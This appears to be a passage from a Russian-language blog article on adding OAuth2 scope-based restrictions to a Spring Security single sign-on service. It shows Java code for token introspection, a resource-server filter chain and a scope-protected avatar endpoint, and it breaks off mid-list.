\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0432\u043e\u043e\u0431\u0449\u0435 scope. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e <a href=\"https:\/\/oauth.net\/2\/scope\/\" rel=\"noopener noreferrer nofollow\">OAuth2<\/a> &#8212; \u044d\u0442\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435. \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c (\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c OAuth2) \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 scope, \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0437\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (email, \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0443, \u0424\u0418\u041e \u0438 \u0442.\u0434.).<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u0430 \u043a\u0430\u043a \u0443 \u043d\u0430\u0441 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c \u0441\u0442\u0430\u0442\u044c\u044f\u043c \u043c\u044b \u043e\u0442\u0434\u0430\u0451\u043c \u0435\u0451 \u043f\u0440\u0438 \u043e\u0442\u0432\u0435\u0442\u0435 \u0432 endpoint-\u0435 introspection (<code>\/oauth2\/token-info<\/code>). \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u043b\u0438 \u044d\u0442\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0438 \u043b\u044e\u0431\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c scope. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">Scope<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_IDENTIFICATION<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (email, ID)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_PROFILE_INFO<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041e\u0431\u0449\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (\u0424\u0418\u041e, \u0434\u0430\u0442\u0430 \u0440\u043e\u0436\u0434\u0435\u043d\u0438\u044f)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_AVATAR<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0410\u0432\u0430\u0442\u0430\u0440 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SSO.USER_AUTHORITIES<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u0443\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0435 introspection \u043e\u0442\u0432\u0435\u0442\u0430. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 <code>IntrospectionService<\/code> \u0438 \u0432 \u043d\u0451\u043c \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 scope \u0432 <code>OAuth2TokenIntrospection<\/code> \u0441\u0442\u0440\u043e\u0438\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435.<\/p>\n<details class=\"spoiler\">\n<summary>IntrospectionService.java<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"java\">public class IntrospectionService {      public final static String principalAttributeKey = \"java.security.Principal\";      private final OAuth2AuthorizationService oAuth2AuthorizationService;     private final MappingJackson2HttpMessageConverter mappingJackson2HttpMessageConverter;      public void introspectionResponse(             HttpServletRequest request,             HttpServletResponse response,             Authentication authentication     ) throws IOException {         var introspectionAuthenticationToken = (OAuth2TokenIntrospectionAuthenticationToken) authentication;         TokenInfoDto.TokenInfoDtoBuilder tokenInfoDtoBuilder = TokenInfoDto.builder().active(false);         if (introspectionAuthenticationToken.getTokenClaims().isActive()) {             OAuth2TokenIntrospection claims = introspectionAuthenticationToken.getTokenClaims();             tokenInfoDtoBuilder.active(true)                     .sub(claims.getSubject())                     .aud(claims.getAudience())                     .nbf(claims.getNotBefore())                     .scopes(claims.getScopes())                     .iss(claims.getIssuer())                     .exp(claims.getExpiresAt())                     .iat(claims.getIssuedAt())                     .jti(claims.getId())                     .clientId(claims.getClientId())                     .tokenType(claims.getTokenType());              \/\/ \u041e\u0431\u043e\u0433\u0430\u0449\u0430\u0435\u043c \u043e\u0442\u0432\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435.             \/\/ \u041f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0442\u0430\u043a\u0436\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 scope             this.upgradeDtoByPrincipal(                     claims.getScopes(),                     introspectionAuthenticationToken.getToken(),                     tokenInfoDtoBuilder             );         }          \/\/ ......     }      private void upgradeDtoByPrincipal(             List&lt;String> clientScopes,             String accessTokenValue,             TokenInfoDto.TokenInfoDtoBuilder tokenInfoDtoBuilder     ) {          \/\/ \u0415\u0441\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a scope \u043f\u0443\u0441\u0442, \u0442\u043e \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u043c         if (clientScopes != null &amp;&amp; !clientScopes.isEmpty()) {             AuthorizedUser authorizedUser = this.extractAuthorizedUserByAccessToken(accessTokenValue);             IntrospectionPrincipal introspectionPrincipal = this.buildIntrospectionPrincipal(                     authorizedUser,                     clientScopes             );             tokenInfoDtoBuilder.principal(introspectionPrincipal);         }     }      \/\/ \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0442\u043e\u0434\u0435 \u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u0441\u044f \u043c\u0430\u0433\u0438\u044f. \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 scope \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u043c IntrospectionPrincipal.     private IntrospectionPrincipal buildIntrospectionPrincipal(             AuthorizedUser authorizedUser,             List&lt;String> clientScopes     ) {         if (authorizedUser == null) {             return null;         }          var builder = IntrospectionPrincipal.builder();         if (clientScopes.contains(SSOScope.USER_AUTHORITIES.getDatabaseCode())) {             List&lt;String> authorities = Collections.emptyList();             if (authorizedUser.getAuthorities() != null) {                 authorities = authorizedUser.getAuthorities()                         .stream()                         .map(GrantedAuthority::getAuthority)                         .collect(Collectors.toList());             }             builder.authorities(authorities);         }          if (clientScopes.contains(SSOScope.USER_IDENTIFICATION.getDatabaseCode())) {             builder.id(authorizedUser.getId())                     .email(authorizedUser.getEmail());         }          if (clientScopes.contains(SSOScope.USER_PROFILE_INFO.getDatabaseCode())) {             builder.firstName(authorizedUser.getFirstName())                     .lastName(authorizedUser.getLastName())                     .middleName(authorizedUser.getMiddleName())                     .birthday(authorizedUser.getBirthday());         }          return builder.build();     }      \/\/ ...... } <\/code><\/pre>\n<\/div>\n<\/details>\n<p>\u041a\u0430\u043a \u0432\u044b \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0431\u044b\u043b\u0430 \u0443\u0431\u0440\u0430\u043d\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432\u043e\u043e\u0431\u0449\u0435 \u0438\u0437 \u043e\u0442\u0432\u0435\u0442\u0430. \u0421\u043c\u044b\u0441\u043b\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0435\u043a\u0438\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0444\u0430\u0439\u043b\u0430 \u043d\u0435\u0442, \u0435\u0441\u043b\u0438 \u043d\u0435\u0442 endpoint-\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u0441\u0430\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u0410 \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0443 \u043d\u0430\u0441 \u043d\u0435\u0442 \u0435\u0433\u043e, \u0438 \u043d\u0443\u0436\u043d\u043e \u0435\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c. \u0412\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 &#8212; \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043c\u043e\u0436\u043d\u043e \u0438 \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c.<\/p>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c endpoint \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438, \u043d\u0430\u043c \u0441\u043f\u0435\u0440\u0432\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u0442\u0440\u0435\u0442\u044c\u044e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e Security \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043d\u0430\u0448\u0435\u0433\u043e j-sso. \u042d\u0442\u043e\u0439 \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f OAuth2 Resource Server, \u0442\u0430 \u0441\u0430\u043c\u0430\u044f \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u0443\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043b\u0438 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 <code>j-service<\/code>. \u0412\u0441\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0440\u0435\u0442\u0438\u0439 \u0431\u0438\u043d \u0441 \u0442\u0438\u043f\u043e\u043c <code>SecurityFilterChain<\/code> \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0432 \u043d\u0451\u043c DSL \u043c\u0435\u0442\u043e\u0434 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Security &#8212; <code>oauth2ResourceServer()<\/code>. \u0422\u0430\u043a\u0436\u0435 \u043d\u0435 \u0437\u0430\u0431\u044b\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0432 <code>application.yml<\/code>.<\/p>\n<p><code><strong>ResourceServerSecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @RequiredArgsConstructor @Configuration(proxyBeanMethods = false) public class ResourceServerSecurityConfig {      private final static String[] RESOURCE_SERVER_PATTERNS = new String[]{             \"\/resource\/**\"     };      private final OAuth2ResourceOpaqueProperties resourceProperties;     private final MappingJackson2HttpMessageConverter messageConverter;      @Bean     @Order(Ordered.HIGHEST_PRECEDENCE)     public SecurityFilterChain resourceServerSecurityFilterChain(HttpSecurity http) throws Exception {         http.securityMatcher(RESOURCE_SERVER_PATTERNS)                 .sessionManagement(configurer -> configurer.sessionCreationPolicy(SessionCreationPolicy.STATELESS))                 .authorizeHttpRequests(authorize -> authorize                         .anyRequest().authenticated()                 )                 .csrf(AbstractHttpConfigurer::disable)                 .exceptionHandling(exceptions -> exceptions.authenticationEntryPoint(                         new HttpStatusEntryPoint(HttpStatus.UNAUTHORIZED)                 ));          \/\/ \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 access token \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 HTTP \u0437\u0430\u043f\u0440\u043e\u0441\u0430         DefaultBearerTokenResolver tokenResolver = new DefaultBearerTokenResolver();         tokenResolver.setAllowUriQueryParameter(true);          http.oauth2ResourceServer(configurer -> {             configurer.bearerTokenResolver(tokenResolver);              configurer.opaqueToken(customizer -> {                 customizer.introspector(new CustomSpringTokenIntrospection(                         resourceProperties.getIntrospectionUri(),                         resourceProperties.getClientId(),                         resourceProperties.getClientSecret(),                         messageConverter                 ));             });         });         return http.build();     } } <\/code><\/pre>\n<p>\u041a\u0430\u043a \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u0438\u0434\u0435\u0442\u044c, \u0434\u0430\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 endpoint-\u044b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0443 <code>\/resource\/**<\/code>. \u0414\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044e \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0432 securityMatcher: <code>http.securityMatcher(RESOURCE_SERVER_PATTERNS)<\/code>. \u0415\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u0442\u0435 \u0432 \u043a\u043b\u0430\u0441\u0441 <code>AuthorizationServerConfig<\/code>, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0442\u0430\u043c \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0443\u044e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443.<\/p>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0431\u044b\u043b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d endpoint \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438 \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043d\u0438\u0436\u0435:<\/p>\n<p><code><strong>ResourceServerController.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @RestController @RequiredArgsConstructor @RequestMapping(\"\/resource\") @Tag(name = \"\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0440\u0435\u0441\u0443\u0440\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SSO\") public class ResourceServerController {      private final ResourceServerService resourceServerService;      @GetMapping(value = \"\/user\/{userId}\/avatar\")     @PreAuthorize(\"hasAuthority('SCOPE_SSO.USER_AVATAR')\")     @Operation(description = \"\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\")     public ResponseEntity&lt;byte[]> downloadUserAvatar(@PathVariable UUID userId) {         return resourceServerService.getUserAvatar(userId);     } } <\/code><\/pre>\n<p>\u0417\u0430\u043c\u0435\u0442\u044c\u0442\u0435, \u0447\u0442\u043e \u0432 \u0430\u043d\u043d\u043e\u0442\u0430\u0446\u0438\u0438 <code>@PreAuthorize<\/code> \u0443\u043a\u0430\u0437\u0430\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 authority: <code>hasAuthority('SCOPE_SSO.USER_AVATAR')<\/code>. \u041d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u043a\u0430\u0437\u0430\u043d\u0430 \u043e\u0447\u0435\u043d\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f. \u0412\u0441\u0451 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f, \u0430 scope \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0432\u044b\u0434\u0430\u043d \u043a\u043b\u0438\u0435\u043d\u0442\u0443. \u041d\u043e \u043a \u043d\u0435\u043c\u0443 \u0431\u044b\u043b \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043f\u0440\u0435\u0444\u0438\u043a\u0441 <code>SCOPE_<\/code>. \u0414\u0430\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 principal \u043e\u0431\u044a\u0435\u043a\u0442\u0430. \u042d\u0442\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 <code>CustomOAuth2AuthenticatedPrincipal<\/code>.<\/p>\n<details class=\"spoiler\">\n<summary>CustomOAuth2AuthenticatedPrincipal.java<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"java\">public class CustomOAuth2AuthenticatedPrincipal extends TokenInfoOAuth2ClaimAccessor         implements OAuth2AuthenticatedPrincipal, Serializable {      private static final String AUTHORITY_PREFIX = \"SCOPE_\";      private final AuthorizedUser delegate;     private final TokenInfoDto tokenInfo;      \/\/ .....      public Collection&lt;? extends GrantedAuthority> getAuthorities() {         List&lt;GrantedAuthority> authorities = new ArrayList&lt;>();         if (this.delegate != null) {             authorities.addAll(delegate.getAuthorities());         }         if (this.tokenInfo != null &amp;&amp; this.tokenInfo.getScopes() != null) {             authorities.addAll(                     this.tokenInfo.getScopes()                             .stream()                             .map(item -> new SimpleGrantedAuthority(AUTHORITY_PREFIX + item))                             .toList()             );         }         return authorities;     }      \/\/ .....  } <\/code><\/pre>\n<\/div>\n<\/details>\n<p>\u0421\u0434\u0435\u043b\u0430\u043d\u043e \u044d\u0442\u043e \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Spring Security \u0432 \u0448\u0435\u0441\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043b\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f SpEL \u0438 \u0443\u0434\u0430\u043b\u0438\u043b\u0438 \u043a\u043b\u0430\u0441\u0441 <a href=\"https:\/\/docs.spring.io\/spring-security\/oauth\/apidocs\/org\/springframework\/security\/oauth2\/provider\/expression\/OAuth2SecurityExpressionMethods.html\" rel=\"noopener noreferrer nofollow\"><code>OAuth2MethodSecurityExpressionHandler<\/code><\/a>. \u0414\u0430\u043d\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u043d\u0430\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>oauth2<\/code> \u0432 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445 SpEL, \u0438 \u043c\u044b \u043c\u043e\u0433\u043b\u0438 \u043b\u0435\u0433\u043a\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 scope \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a: <code>\"#oauth2.hasScope('scope')\"<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u0436\u0435 \u043d\u0430\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>hasAuthority('SCOPE_scope')<\/code> \u0432\u043c\u0435\u0441\u0442\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f. \u0414\u0430\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 <a href=\"https:\/\/github.com\/spring-projects\/spring-security\/wiki\/OAuth-2.0-Migration-Guide#simplified-spel\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>.<\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043d\u0430\u0448 j-sso \u0441\u0442\u0430\u043b \u0441\u043e\u0447\u0435\u0442\u0430\u0442\u044c \u0432 \u0441\u0435\u0431\u0435 \u0442\u0440\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c:<\/p>\n<ol>\n<li>\n<p>\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 OAuth2.<\/p>\n<\/li>\n<li>\n<p>\u0420\u0435\u0441\u0443\u0440\u0441 \u0441\u0435\u0440\u0432\u0438\u0441 OAuth2. \u041f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 (\u043f\u043e\u043a\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0430).<\/p>\n<\/li>\n<li>\n<p>\u0421\u0435\u0440\u0432\u0438\u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f SSO \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u043c\u0438 